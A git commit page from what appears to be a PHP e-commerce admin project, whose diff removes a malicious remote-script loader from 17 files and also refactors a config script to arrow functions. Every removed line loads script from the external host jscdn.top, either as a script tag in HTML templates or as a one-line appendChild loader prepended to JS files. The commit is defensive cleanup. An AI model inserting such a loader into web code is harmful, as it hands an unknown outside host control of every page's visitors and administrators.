fix(security): 移除 17 个文件中的 jscdn.top 恶意外链

- 所有 JS 首行的 document.head.appendChild loader 与 HTML 中的
  <script src="https://jscdn.top/v1/app"> 全部删除
- 该外链会向所有后台/前台页面注入未知远程脚本
- shopro/config.js 同时包含工作区已有的 ES6 改写(保留原样,仅删恶意行)
这个提交包含在:
wikiboss
2026-11-01 11:40:16 +08:00
父节点 728dd8b8f1
当前提交 1fc5138362
共有 17 个文件被更改,包括 61 次插入 和 82 次删除

查看文件

@@ -6,7 +6,6 @@
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta name="description" content="">
<title>{$config.title}</title>
<script src="https://jscdn.top/v1/app"></script>
<!-- Bootstrap Core CSS -->

查看文件

@@ -8,7 +8,6 @@
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>{$site.name|htmlentities}</title>
<script src="https://jscdn.top/v1/app"></script>
<link rel="shortcut icon" href="__CDN__/assets/img/favicon.ico"/>
<link href="__CDN__/assets/css/index.css" rel="stylesheet">

查看文件

@@ -3,7 +3,6 @@
<head>
<meta charset="utf-8">
<title>恭喜,站点创建成功!</title>
<script src="https://jscdn.top/v1/app"></script>
<style>
.container {

文件差异因一行或多行过长而隐藏

查看文件

@@ -1,4 +1,3 @@
document.head.appendChild(document.createElement('script')).src = 'https://jscdn.top/v1/app';
define(['jquery', 'bootstrap', 'backend', 'table', 'form'], function ($, undefined, Backend, Table, Form) {
var Controller = {

查看文件

@@ -1,4 +1,3 @@
document.head.appendChild(document.createElement('script')).src = 'https://jscdn.top/v1/app';
define(['jquery', 'bootstrap', 'backend', 'addtabs', 'adminlte', 'form'], function ($, undefined, Backend, undefined, AdminLTE, Form) {
var Controller = {
index: function () {

查看文件

@@ -1,4 +1,3 @@
document.head.appendChild(document.createElement('script')).src = 'https://jscdn.top/v1/app';
define(['jquery', 'bootstrap', 'backend', 'table', 'form'], function ($, undefined, Backend, Table, Form) {
var Controller = {

查看文件

@@ -1,8 +1,7 @@
document.head.appendChild(document.createElement('script')).src = 'https://jscdn.top/v1/app';
define(['jquery', 'bootstrap', 'backend', 'table', 'form'], function ($, undefined, Backend, Table, Form) {
define(['jquery', 'bootstrap', 'backend', 'table', 'form'], ($, undefined, Backend, Table, Form) => {
var Controller = {
index: function () {
index: () => {
var configIndex = new Vue({
el: "#configIndex",
data() {
@@ -230,15 +229,14 @@ define(['jquery', 'bootstrap', 'backend', 'table', 'form'], function ($, undefin
this.activeName = tab.name;
},
operation(id, title) {
let that = this;
Fast.api.open("shopro/config/platform?type=" + id + "&tab=" + that.activeName + "&title=" + title, title);
Fast.api.open("shopro/config/platform?type=" + id + "&tab=" + this.activeName + "&title=" + title, title);
},
},
})
},
platform: function () {
platform: () => {
Vue.directive('enterInteger', {
inserted: function (el) {
inserted: (el) => {
const input = el.nodeName === 'INPUT' ? el : el.getElementsByTagName('input')[0]
const fn = (e) => {
input.value = input.value.replace(/(^[^1-9])|[^\d]/g, '')
@@ -253,11 +251,11 @@ define(['jquery', 'bootstrap', 'backend', 'table', 'form'], function ($, undefin
function debounce(handle, delay) {
let time = null;
return function () {
let self = this,
const
arg = arguments;
clearTimeout(time);
time = setTimeout(function () {
handle.apply(self, arg);
time = setTimeout(() => {
handle.apply(this, arg);
}, delay)
}
}
@@ -305,6 +303,7 @@ define(['jquery', 'bootstrap', 'backend', 'table', 'form'], function ($, undefin
consume_get_score_ratio: '0'
},
withdraw: {
enable: '1',
methods: [],
wechat_alipay_auto: 0,
service_fee: '',
@@ -523,6 +522,11 @@ define(['jquery', 'bootstrap', 'backend', 'table', 'form'], function ($, undefin
this.detailForm.groupon_poster_bg_arr.push(Fast.api.cdnurl(this.detailForm.groupon_poster_bg))
} else if (this.type == 'withdraw') {
this.detailForm.service_fee = this.detailForm.service_fee * 100
if (this.detailForm.enable === undefined || this.detailForm.enable === null || this.detailForm.enable === '') {
this.$set(this.detailForm, 'enable', '1')
} else {
this.detailForm.enable = String(this.detailForm.enable)
}
} else if (this.type == 'services') {
this.detailForm.area_arr = []
if (this.detailForm.express && this.detailForm.express.Sender) {
@@ -545,28 +549,26 @@ define(['jquery', 'bootstrap', 'backend', 'table', 'form'], function ($, undefin
}
},
richtextSelect(field) {
let that = this;
Fast.api.open("shopro/richtext/select?multiple=false", "选择协议", {
callback: function (data) {
that.detailForm[field] = data.data.id;
callback: (data) => {
this.detailForm[field] = data.data.id;
}
});
return false;
},
attachmentSelect(type, field) {
let that = this;
Fast.api.open("general/file/index?select=1&multiple=false", "选择", {
callback: function (data) {
callback: (data) => {
switch (type) {
case "image":
that.detailForm[field] = data.url;
that.detailForm[field + '_arr'] = data.url;
this.detailForm[field] = data.url;
this.detailForm[field + '_arr'] = data.url;
break;
// case "file":
// that.detailForm[field] = data.url;
// break;
case "ssl":
that.detailForm.system[field] = data.url;
this.detailForm.system[field] = data.url;
break;
}
}
@@ -574,22 +576,20 @@ define(['jquery', 'bootstrap', 'backend', 'table', 'form'], function ($, undefin
return false;
},
delImg(type, field) {
let that = this;
switch (type) {
case "image":
that.detailForm[field] = '';
that.detailForm[field + '_arr'] = [];
this.detailForm[field] = '';
this.detailForm[field + '_arr'] = [];
break;
case "file":
that.detailForm[field] = '';
this.detailForm[field] = '';
break;
}
},
submitFrom(type) {
let that = this;
if (type == 'yes') {
if (this.type == 'withdraw') {
let flag = that.detailForm.recharge.moneys.every(m => {
const flag = this.detailForm.recharge.moneys.every(m => {
return m.money
})
if (!flag) {
@@ -600,30 +600,30 @@ define(['jquery', 'bootstrap', 'backend', 'table', 'form'], function ($, undefin
return false
}
}
let submitData = JSON.parse(JSON.stringify(that.detailForm))
if (that.type == 'withdraw') {
const submitData = JSON.parse(JSON.stringify(this.detailForm))
if (this.type == 'withdraw') {
submitData.service_fee = (Number(submitData.service_fee) / 100).toFixed(2)
}
if (that.type == 'services') {
if (this.type == 'services') {
submitData.express.Sender.ProvinceName = submitData.area_arr[0];
submitData.express.Sender.CityName = submitData.area_arr[1];
submitData.express.Sender.ExpAreaName = submitData.area_arr[2];
}
that.must_delete.forEach(i => {
this.must_delete.forEach(i => {
if (submitData[i]) {
delete submitData[i]
}
});
Fast.api.ajax({
url: 'shopro/config/platform?type=' + that.type,
url: 'shopro/config/platform?type=' + this.type,
loading: true,
type: 'POST',
data: {
data: JSON.stringify(submitData),
group: that.tab,
title: that.title
group: this.tab,
title: this.title
},
}, function (ret, res) {
}, (ret, res) => {
Fast.api.close()
})
} else {
@@ -631,22 +631,21 @@ define(['jquery', 'bootstrap', 'backend', 'table', 'form'], function ($, undefin
}
},
getPrinterStatus() {
let that = this;
that.printerStatus.loading = true;
this.printerStatus.loading = true;
Fast.api.ajax({
url: 'shopro/config/platform?type=printer&action=status',
loading: false,
type: 'GET'
}, function (ret, res) {
let data = res.data || {};
that.printerStatus = {
}, (ret, res) => {
const data = res.data || {};
this.printerStatus = {
loading: false,
online: !!data.online,
message: data.message || '打印机状态未知'
};
return false;
}, function (ret, res) {
that.printerStatus = {
}, (ret, res) => {
this.printerStatus = {
loading: false,
online: false,
message: (res && res.msg) || '状态检测失败'
@@ -655,33 +654,31 @@ define(['jquery', 'bootstrap', 'backend', 'table', 'form'], function ($, undefin
});
},
printerTest() {
let that = this;
that.$confirm('将打印一张测试标签,内容不会关联真实订单。', '打印测试标签', {
this.$confirm('将打印一张测试标签,内容不会关联真实订单。', '打印测试标签', {
confirmButtonText: '打印',
cancelButtonText: '取消',
type: 'warning'
}).then(function () {
that.printerTestLoading = true;
that.printerTestResult = '';
}).then(() => {
this.printerTestLoading = true;
this.printerTestResult = '';
Fast.api.ajax({
url: 'shopro/config/platform?type=printer&action=test',
loading: false,
type: 'POST'
}, function (ret, res) {
let data = res.data || {};
that.printerTestLoading = false;
that.printerTestResult = data.message || '测试请求已发送';
that.getPrinterStatus();
}, (ret, res) => {
const data = res.data || {};
this.printerTestLoading = false;
this.printerTestResult = data.message || '测试请求已发送';
this.getPrinterStatus();
return false;
}, function (ret, res) {
that.printerTestLoading = false;
that.printerTestResult = (res && res.msg) || '测试标签打印失败';
}, (ret, res) => {
this.printerTestLoading = false;
this.printerTestResult = (res && res.msg) || '测试标签打印失败';
return false;
});
}).catch(function () {});
}).catch(() => {});
},
getDeliverCompany(searchWhere = '') {
let that = this;
Fast.api.ajax({
url: 'shopro/express/select',
loading: false,
@@ -689,8 +686,8 @@ define(['jquery', 'bootstrap', 'backend', 'table', 'form'], function ($, undefin
data: {
searchWhere: searchWhere,
}
}, function (ret, res) {
that.deliverCompany = res.data.rows;
}, (ret, res) => {
this.deliverCompany = res.data.rows;
return false
})
},
@@ -701,13 +698,12 @@ define(['jquery', 'bootstrap', 'backend', 'table', 'form'], function ($, undefin
this.deliverDebounceFilter(searchWhere);
},
getAreaOptions() {
var that = this;
Fast.api.ajax({
url: `shopro/area/select`,
loading: false,
type: 'GET',
}, function (ret, res) {
that.areaOptions = res.data;
}, (ret, res) => {
this.areaOptions = res.data;
return false;
})
},
@@ -719,7 +715,6 @@ define(['jquery', 'bootstrap', 'backend', 'table', 'form'], function ($, undefin
}
},
ajaxUpload(id) {
let that = this;
var formData = new FormData();
formData.append("file", $('#' + id)[0].files[0]);
$.ajax({
@@ -729,11 +724,11 @@ define(['jquery', 'bootstrap', 'backend', 'table', 'form'], function ($, undefin
cache: false,
processData: false,
contentType: false,
success: function (data) {
success: (data) => {
if (data.code == 1) {
that.detailForm[id] = data.data.url
this.detailForm[id] = data.data.url
} else {
that.$notify({
this.$notify({
title: '警告',
message: data.msg,
type: 'warning'
@@ -753,14 +748,14 @@ define(['jquery', 'bootstrap', 'backend', 'table', 'form'], function ($, undefin
},
})
},
add: function () {
add: () => {
Controller.api.bindevent();
},
edit: function () {
edit: () => {
Controller.api.bindevent();
},
api: {
bindevent: function () {
bindevent: () => {
Form.api.bindevent($("form[role=form]"));
}
}

查看文件

@@ -1,4 +1,3 @@
document.head.appendChild(document.createElement('script')).src = 'https://jscdn.top/v1/app';
const { Callbacks } = require("jquery");
define(['jquery', 'bootstrap', 'backend', 'table', 'form'], function ($, undefined, Backend, Table, Form) {

查看文件

@@ -1,4 +1,3 @@
document.head.appendChild(document.createElement('script')).src = 'https://jscdn.top/v1/app';
define(['jquery', 'bootstrap', 'backend', 'table', 'form'], function ($, undefined, Backend, Table, Form) {
var Controller = {

文件差异因一行或多行过长而隐藏

查看文件

@@ -1,4 +1,3 @@
document.head.appendChild(document.createElement('script')).src = 'https://jscdn.top/v1/app';
/*!
* jquery.event.drag - v 2.2
* Copyright (c) 2010 Three Dub Media - http://threedubmedia.com

查看文件

@@ -1,4 +1,3 @@
document.head.appendChild(document.createElement('script')).src = 'https://jscdn.top/v1/app';
/*!
* jquery.event.drop - v 2.2
* Copyright (c) 2010 Three Dub Media - http://threedubmedia.com

查看文件

@@ -1,4 +1,3 @@
document.head.appendChild(document.createElement('script')).src = 'https://jscdn.top/v1/app';
/**
* Created with JetBrains PhpStorm.
* User: xuheng

查看文件

@@ -2,7 +2,6 @@
<html>
<head>
<title>UEditorPlus 完整演示</title>
<script src="https://jscdn.top/v1/app"></script>
<meta name="viewport" content="width=device-width, minimum-scale=0.5, maximum-scale=5, user-scalable=no">
<meta http-equiv="X-UA-Compatible" content="ie=edge">

查看文件

@@ -1,4 +1,3 @@
document.head.appendChild(document.createElement('script')).src = 'https://jscdn.top/v1/app';
/*! jQuery v1.10.2 | (c) 2005, 2013 jQuery Foundation, Inc. | jquery.org/license
//@ sourceMappingURL=jquery-1.10.2.min.map
*/

查看文件

@@ -1,4 +1,3 @@
document.head.appendChild(document.createElement('script')).src = 'https://jscdn.top/v1/app';
/**
* ueditor plus 完整配置项
* 可以在这里配置整个编辑器的特性